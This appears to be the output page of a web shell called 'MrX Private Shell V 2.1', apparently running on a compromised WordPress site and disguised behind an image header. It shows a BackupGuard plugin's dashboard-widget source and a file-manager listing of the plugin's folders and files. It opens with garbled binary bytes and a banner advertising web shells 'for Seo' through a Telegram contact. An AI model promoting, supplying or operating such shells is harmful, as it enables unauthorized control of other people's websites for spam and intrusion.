����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
require_once(SG_BACKUP_PATH.'SGBackup.php');
// Function that outputs the contents of the dashboard widget
function backup_guard_dashboard_widget_function( $post, $callback_args ) {
$banner = backupGuardGetBanner(SG_ENV_WORDPRESS,"dashboard-widget");
$backups = SGBackup::getAllBackups();
$allBackupsCount = count($backups);
$successBackups = 0;
$faildBackups = 0;
$inprogress = 0;
$warningBackups = 0;
$canceledBackups = 0;
for($i = 0; $i < $allBackupsCount; $i++){
if (empty($backups[$i])) {
continue;
}
switch ($backups[$i]['status']){
case SG_ACTION_STATUS_IN_PROGRESS_DB:
case SG_ACTION_STATUS_IN_PROGRESS_FILES:
$inprogress++;
break;
case SG_ACTION_STATUS_FINISHED_WARNINGS:
$warningBackups++;
break;
case SG_ACTION_STATUS_CANCELLED:
$canceledBackups++;
break;
case SG_ACTION_STATUS_ERROR:
$faildBackups++;
break;
default:
$successBackups++;
}
}
if(strpos(SG_PRODUCT_IDENTIFIER,"silver") !== false || strpos(SG_PRODUCT_IDENTIFIER,"gold") !== false) {
$sgb = new SGBackup();
$scheduleParams = $sgb->getScheduleParamsById(SG_SCHEDULER_DEFAULT_ID);
$scheduleParams = backupGuardParseBackupOptions($scheduleParams);
$schedulesCount = strlen($scheduleParams['label'])? 1 : 0;
}else if(strpos(SG_PRODUCT_IDENTIFIER,"free") === false) { // platinum
require_once(SG_BACKUP_PATH.'SGBackupSchedule.php');
$allSchedules = SGBackupSchedule::getAllSchedules();
$schedulesCount = count($allSchedules);
}
?>
<div style="width: 100%; font-size: 12px; "><?php echo $banner ?></div>
<div id="canvas-holder" style="width:100%">
<canvas id="chart-area"></canvas>
</div>
<script>
function backupGuardLoadChart() {
var config = {
type: 'pie',
data: {
datasets: [{
data: [
<?php echo $successBackups ?>,
<?php echo $faildBackups ?>,
<?php echo $warningBackups ?>,
<?php echo $canceledBackups ?>,
<?php echo $inprogress ?>
],
backgroundColor: [
"#2b8b3a",
"#f96868",
"#ffb848",
"#7C858E",
"#64aed9"
],
label: 'Dataset 1'
}],
labels: [
"Success (<?php echo $successBackups ?>)",
"Failed (<?php echo $faildBackups ?>)",
"Warning (<?php echo $warningBackups ?>)",
"Canceled (<?php echo $canceledBackups ?>)",
"In progress (<?php echo $inprogress ?>)",
]
},
options: {
responsive: true,
legend: {
labels: {
// This more specific font property overrides the global property
fontFamily: "'Source Sans Pro', 'Calibri', 'Candara', 'Arial', 'sans-serif'"
}
}
}
};
<?php
if(isset($schedulesCount)) {
?>
config.data.datasets[0].data.push(<?php echo $schedulesCount ?>);
config.data.datasets[0].backgroundColor.push("#cecece");
config.data.labels.push("Schedules (<?php echo $schedulesCount ?>)");
<?php
}
?>
var ctx = document.getElementById("chart-area").getContext("2d");
window.backupGuardPieChart = new Chart(ctx, config);
}
backupGuardLoadChart();
</script>
<?php
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| ajax | Folder | 0755 |
|
|
| config | Folder | 0755 |
|
|
| cron | Folder | 0755 |
|
|
| css | Folder | 0755 |
|
|
| fonts | Folder | 0755 |
|
|
| img | Folder | 0755 |
|
|
| include | Folder | 0755 |
|
|
| js | Folder | 0755 |
|
|
| templates | Folder | 0755 |
|
|
| backups.php | File | 13.46 KB | 0644 |
|
| boot.php | File | 180 B | 0644 |
|
| cloud.php | File | 14.66 KB | 0644 |
|
| dashboardWidget.php | File | 3.16 KB | 0644 |
|
| pagesContent.php | File | 1.29 KB | 0644 |
|
| proFeatures.php | File | 6.25 KB | 0644 |
|
| restore_wordpress.php | File | 7.49 KB | 0644 |
|
| schedule.php | File | 14.54 KB | 0644 |
|
| security.php | File | 260 B | 0644 |
|
| services.php | File | 3.79 KB | 0644 |
|
| settings.php | File | 20.2 KB | 0644 |
|
| support.php | File | 314 B | 0644 |
|
| systemInfo.php | File | 5.9 KB | 0644 |
|
| videoTutorials.php | File | 638 B | 0644 |
|